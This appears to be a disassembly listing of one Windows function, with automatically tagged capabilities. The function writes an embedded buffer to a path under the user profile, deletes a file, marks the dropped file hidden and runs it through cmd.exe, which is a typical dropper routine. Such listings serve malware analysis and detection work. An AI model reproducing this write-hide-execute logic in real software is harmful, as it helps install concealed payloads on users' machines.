Function at 0x140003c9c
Capabilities:
Create process on windows
Delete file
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rbp + 0x560], rax
lea rax, str.ta_a
mov rbx, rcx
mov qword [rsp + 0x40], rax
lea r9, [0x140006598]
lea rax, [0x140006588]
mov qword [rsp + 0x38], rax
lea r8, [0x14000659c]
lea rax, [0x14000658c]
mov qword [rsp + 0x30], rax
lea rdx, str._s_s_s_s_s_s_s
lea rax, [0x140006590]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x20]
lea rax, [0x140006594]
mov qword [rsp + 0x20], rax
call fcn.140004090
lea rax, [0x1400065b0]
mov qword [rsp + 0x48], rax
lea r9, [0x140006598]
lea rax, str.ta_a.e
mov qword [rsp + 0x40], rax
lea r8, [0x14000659c]
lea rax, [0x1400065bc]
mov qword [rsp + 0x38], rax
lea rdx, str._s_s_s_s_s_s_s_s
lea rax, [0x1400065c0]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x130]
lea rax, [0x1400065c4]
mov qword [rsp + 0x28], rax
lea rax, [0x1400065c8]
mov qword [rsp + 0x20], rax
call fcn.140004090
lea r8, [0x1400065e4]
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov r9, qword [rsp + 0x60]
test r9, r9
jne 0x140003e67
and qword [rsp + 0x50], r9
lea r8, str.USERPROFILE
and qword [rbp - 0x20], r9
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14000400c
mov r8, qword [rsp + 0x50]
test r8, r8
je 0x14000400c
lea r9, [0x1400065f4]
lea rdx, str._s_s
lea rcx, [rbp + 0x20]
call fcn.140004090
mov r8, qword [rsp + 0x50]
lea rax, [0x140006600]
lea r9, str._a.b
mov qword [rsp + 0x20], rax
lea rdx, str._s_s_s
lea rcx, [rbp + 0x130]
call fcn.140004090
lea r8, [0x1400065e4]
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov r9, qword [rsp + 0x58]
test r9, r9
je 0x14000400c
mov edx, 1
mov r8d, 0x17541
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x58]
jmp 0x140003e80
mov edx, 1
mov r8d, 0x17541
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
and dword [rbp + 0x10], 0
lea rax, [0x14000110c]
or rbx, 0xffffffffffffffff
mov qword [rbp], rax
xor r8d, r8d
mov qword [rbp + 8], rbx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call fcn.140001000
and dword [rbp - 8], 0
lea rax, [0x140001130]
lea r8d, [rbx + 2]
mov qword [rbp - 0x18], rax
lea rdx, [rbp + 0x130]
mov qword [rbp - 0x10], rbx
lea rcx, [rbp - 0x10]
call fcn.140001000
lea rdx, [rbp]
lea rcx, [rbp - 0x18]
call fcn.140003ba4
mov rcx, qword [rbp - 0x10]
mov edi, eax
cmp rcx, rbx
je 0x140003f02
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140003efe
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140003f02
mov qword [rbp - 0x10], rbx
mov rcx, qword [rbp + 8]
cmp rcx, rbx
je 0x140003f21
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140003f1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140003f21
mov qword [rbp + 8], rbx
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test edi, edi
jne 0x14000400c
lea edx, [rdi + 2]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rax, [rbp + 0x130]
mov qword [rsp + 0x28], rax
lea r9, [0x140006618]
lea rax, [0x140006614]
lea r8, str._c_s
mov qword [rsp + 0x20], rax
lea rdx, str._s_s_s_s
lea rcx, [rbp + 0x240]
call fcn.140004090
lea rax, [rbp + 0x240]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003f83
inc rbx
lea r9, [rbp + 0x240]
mov r8d, 0x104
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov ebx, 0x70
lea rcx, [rsp + 0x70]
mov r8d, ebx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
and qword [rsp + 0x78], 0
lea rax, str.cmd.exe
and qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
and qword [rbp - 0x68], 0
and dword [rbp - 0x60], 0
and qword [rbp - 0x58], 0
mov qword [rbp - 0x78], rax
lea rax, [rbp + 0x350]
mov qword [rbp - 0x70], rax
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x74], 0x40
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.140004100
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret